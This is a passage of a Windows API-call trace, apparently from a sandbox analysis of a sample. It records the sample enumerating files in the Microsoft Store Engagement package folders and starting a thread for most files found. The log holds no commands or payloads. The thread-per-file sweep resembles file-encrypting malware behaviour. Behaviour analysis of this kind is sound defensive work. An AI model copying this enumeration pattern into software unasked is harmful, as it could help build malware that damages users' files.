	[0093.374] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x367e691f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x367e691f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x1257, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1
	[0093.374] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0093.374] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0093.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491dda8
	[0093.374] wcscpy (in: _Dest=0x491dda8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe"
	[0093.374] wcscat (in: _Dest=0x491dda8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\"
	[0093.374] wcscat (in: _Dest=0x491dda8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0093.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491dda8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1160
	[0093.375] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36b540f8, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xb004bc29, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36b540f8, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0093.375] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0093.375] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0093.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e32d38
	[0093.375] wcscpy (in: _Dest=0x4e32d38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe"
	[0093.375] wcscat (in: _Dest=0x4e32d38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\"
	[0093.375] wcscat (in: _Dest=0x4e32d38, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0093.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4e32d38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x115c
	[0093.376] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36bec9e7, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x36bec9e7, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x2997, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1
	[0093.376] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.376] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491df88
	[0093.376] wcscpy (in: _Dest=0x491df88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe"
	[0093.376] wcscat (in: _Dest=0x491df88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\"
	[0093.376] wcscat (in: _Dest=0x491df88, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491df88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158
	[0093.377] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3708b3d5, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3708b3d5, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0093.377] wcscmp (_String1="logo.png", _String2=".") returned 1
	[0093.377] wcscmp (_String1="logo.png", _String2="..") returned 1
	[0093.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e440c0
	[0093.377] wcscpy (in: _Dest=0x2e440c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe"
	[0093.377] wcscat (in: _Dest=0x2e440c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\"
	[0093.377] wcscat (in: _Dest=0x2e440c0, _Source="logo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\logo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\logo.png"
	[0093.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e440c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154
	[0093.378] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3708b3d5, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3708b3d5, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0xcdf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Services.Store.Engagement.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0093.378] wcscmp (_String1="Microsoft.Services.Store.Engagement.dll", _String2=".") returned 1
	[0093.380] wcscmp (_String1="Microsoft.Services.Store.Engagement.dll", _String2="..") returned 1
	[0093.380] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3708b3d5, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3708b3d5, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x7998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Services.Store.Engagement.Proxies.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0093.380] wcscmp (_String1="Microsoft.Services.Store.Engagement.Proxies.dll", _String2=".") returned 1
	[0093.380] wcscmp (_String1="Microsoft.Services.Store.Engagement.Proxies.dll", _String2="..") returned 1
	[0093.380] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3708b3d5, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3708b3d5, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x3f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Services.Store.Engagement.winmd", cAlternateFileName="MICROS~1.WIN")) returned 1
	[0093.380] wcscmp (_String1="Microsoft.Services.Store.Engagement.winmd", _String2=".") returned 1
	[0093.380] wcscmp (_String1="Microsoft.Services.Store.Engagement.winmd", _String2="..") returned 1
	[0093.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x114) returned 0x4771990
	[0093.380] wcscpy (in: _Dest=0x4771990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe"
	[0093.380] wcscat (in: _Dest=0x4771990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\"
	[0093.380] wcscat (in: _Dest=0x4771990, _Source="Microsoft.Services.Store.Engagement.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\Microsoft.Services.Store.Engagement.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\Microsoft.Services.Store.Engagement.winmd"
	[0093.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4771990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1150
	[0093.381] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x37eb3642, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xe4deabeb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe4deabeb, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.381] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.381] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x47175d0
	[0093.381] wcscpy (in: _Dest=0x47175d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe"
	[0093.381] wcscat (in: _Dest=0x47175d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\"
	[0093.381] wcscat (in: _Dest=0x47175d0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47175d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114c
	[0093.382] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3708b3d5, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3708b3d5, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1
	[0093.382] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0093.382] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0093.382] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32e20
	[0093.382] wcscpy (in: _Dest=0x4e32e20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe"
	[0093.382] wcscat (in: _Dest=0x4e32e20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\"
	[0093.382] wcscat (in: _Dest=0x4e32e20, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0093.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e32e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1148
	[0093.394] FindNextFileW (in: hFindFile=0x2d71400, lpFindFileData=0x2e27b30 | out: lpFindFileData=0x2e27b30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3708b3d5, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3708b3d5, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x37d35dd5, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="RESOUR~1.PRI")) returned 0
	[0093.394] FindClose (in: hFindFile=0x2d71400 | out: hFindFile=0x2d71400) returned 1
	[0093.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e27b30) returned 1
	[0093.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ec98) returned 1
	[0093.395] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d418) returned 1

Thread:
	id = 834
	os_tid = 0x168

	[0079.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x2d7ed68
	[0079.745] wcscpy (in: _Dest=0x2d7ed68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe"
	[0079.745] wcscat (in: _Dest=0x2d7ed68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\"
	[0079.745] wcscat (in: _Dest=0x2d7ed68, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\*"
	[0079.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e289a0
	[0079.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3979638c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xb00f9315, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a630d34, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71440
	[0079.747] wcscmp (_String1=".", _String2=".") returned 0
	[0079.747] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3979638c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xb00f9315, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a630d34, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.747] wcscmp (_String1="..", _String2=".") returned 1
	[0079.747] wcscmp (_String1="..", _String2="..") returned 0
	[0079.747] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3998628f, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x3998628f, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x3a525ccf, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x6f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="APPXBL~1.XML")) returned 1
	[0079.747] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.747] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x2e3bb10
	[0079.747] wcscpy (in: _Dest=0x2e3bb10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe"
	[0079.747] wcscat (in: _Dest=0x2e3bb10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\"
	[0079.747] wcscat (in: _Dest=0x2e3bb10, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3bb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1320
	[0093.366] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39854f81, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x39854f81, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x3a525ccf, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x1273, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1
	[0093.366] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0093.366] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0093.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491dad8
	[0093.366] wcscpy (in: _Dest=0x491dad8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe"
	[0093.366] wcscat (in: _Dest=0x491dad8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\"
	[0093.366] wcscat (in: _Dest=0x491dad8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\AppxManifest.xml"
	[0093.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491dad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1324
	[0093.367] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39a1ec32, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xb00fa945, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39a1ec32, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0093.367] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0093.367] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0093.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e32998
	[0093.367] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe"
	[0093.367] wcscat (in: _Dest=0x4e32998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\"
	[0093.367] wcscat (in: _Dest=0x4e32998, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0093.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4e32998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1178
	[0093.368] FindNextFileW (in: hFindFile=0x2d71440, lpFindFileData=0x2e289a0 | out: lpFindFileData=0x2e289a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39ab75fa, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x39ab75fa, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x3a525ccf, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x2998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="APPXSI~1.P7X")) returned 1
	[0093.368] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.368] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491dcb8
